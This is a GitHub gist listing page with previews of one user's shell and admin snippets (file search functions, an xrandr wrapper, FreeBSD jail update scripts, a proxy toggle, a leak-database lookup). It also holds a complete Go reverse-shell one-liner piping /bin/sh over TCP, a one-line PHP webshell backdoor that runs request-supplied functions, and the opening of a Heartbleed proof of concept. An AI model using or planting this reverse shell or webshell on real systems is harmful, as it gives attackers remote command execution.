takeshixx’s gists

takeshixx / gist:7466377

Last active December 28, 2015 07:39

$shell (zsh,bash,etc.) search functions

	# search all with wildcard
	function saw(){
	find / -regextype posix-extended -iregex ".\/[^\/]$@.*" -exec ls -lad --color {} \; 2>/dev/null
	}
	# search all with exact match
	function sa(){
	find / -regextype posix-extended -iregex ".*\/$@" -exec ls -lad --color {} \; 2>/dev/null
	}
	# search local with wildcard
	function slw(){

takeshixx / xwrap.sh

Created November 15, 2013 10:57

xrandr wrapper script; switch between single/extended/cloned view (e.g. configure external display/projector)

	#!/bin/zsh
	# xrandr wrapper; switch between single/extended/cloned desktop;
	CONFIGURED_DEVICES=($(xrandr\|egrep -o '[[:alnum:]]+ [dis]{0,3}connected [0-9]{3,}x[0-9]{3,}'\|awk '{print $1}'))
	CONNECTED_DEVICES=($(xrandr\|grep ' connected '\|awk '{print $1}'))
	PRIMARY=${CONFIGURED_DEVICES[1]}
	RES_PRIMARY=$(xrandr\|grep ${PRIMARY} -A1\|tail -n1\|egrep -o '[0-9]{3,}x[0-9]{3,}')

	if [ ${#CONFIGURED_DEVICES[*]} -eq 1 ]; then
	[ ${#CONNECTED_DEVICES[*]} -lt 2 ] && { print 'only one display conencted';exit; }
	CUR_MODE='single'

takeshixx / gist:7486990

Last active December 28, 2015 10:29

Check for port updates in FreeBSD jails

for jail in $(jails);do print $jail;jexec $(jid $jail) portmaster -L --index-only|egrep '(ew|ort) version|total install';print;done

takeshixx / contab-jails.sh

Last active February 22, 2022 22:37

Crontab script for FreeBSD Jails (update seperate ports tree, run portaudit, check for port updates)

	#!/usr/local/bin/zsh
	JAIL_PORTS=/usr/jails/ports
	SHELL=/usr/local/bin/zsh
	PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/root/bin
	SECTION=' * * * * * * '
	DELIMITER='------------------------------'

	portsnap -p $JAIL_PORTS fetch extract &>/dev/null \|\| echo "Updating ports tree failed!"

	echo "# VULNERABILITIES"

takeshixx / gist:7683667

Last active December 29, 2015 14:28

Update FreeBSD ports inside jails.

for jail in $(jails);do jexec $(jid $jail) portmaster -ay;done

takeshixx / gist:8493530

Created January 18, 2014 17:26

Set proxy in a shell.

	function proxy () {
	UNSET=""
	PROXY="http://127.0.0.1:8080"
	PROXY_ENV=(http_proxy https_proxy ftp_proxy HTTP_PROXY HTTPS_PROXY FTP_PROXY)
	if [ $1 == on ]; then
	for i in $PROXY_ENV; do
	export $i=$PROXY
	done
	echo "proxy set"
	elif [ $1 == off ]; then

takeshixx / leakdb.py

Created January 30, 2014 23:51

Small leakdb script for a $SHELL alias

	#!/usr/bin/env python2
	import sys,requests
	DEBUG = False

	try:
	lines = sys.stdin.read().split('\n')
	for h in lines:
	if not h: continue
	r = requests.get('https://api.leakdb.net/?j={}'.format(h)).json()

takeshixx / shell.go

Last active November 8, 2020 18:48

Golang reverse shell

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go

takeshixx / shell.php

Created April 5, 2014 14:07

PHP webshell/backdoor

	// Call: http://localhost/shell.php?f=system&c=id
	<?@extract($_REQUEST);@die($f($c));?>

takeshixx / hb-test.py

Last active November 6, 2024 06:58

OpenSSL heartbeat PoC with STARTTLS support.

	#!/usr/bin/env python2
	"""
	Author: takeshix <[email protected]>
	PoC code for CVE-2014-0160. Original PoC by Jared Stafford ([email protected]).

	Supportes all versions of TLS and has STARTTLS support for SMTP,POP3,IMAP,FTP and XMPP.
	"""

	import sys,struct,socket
	from argparse import ArgumentParser

Niklaus Schiess takeshixx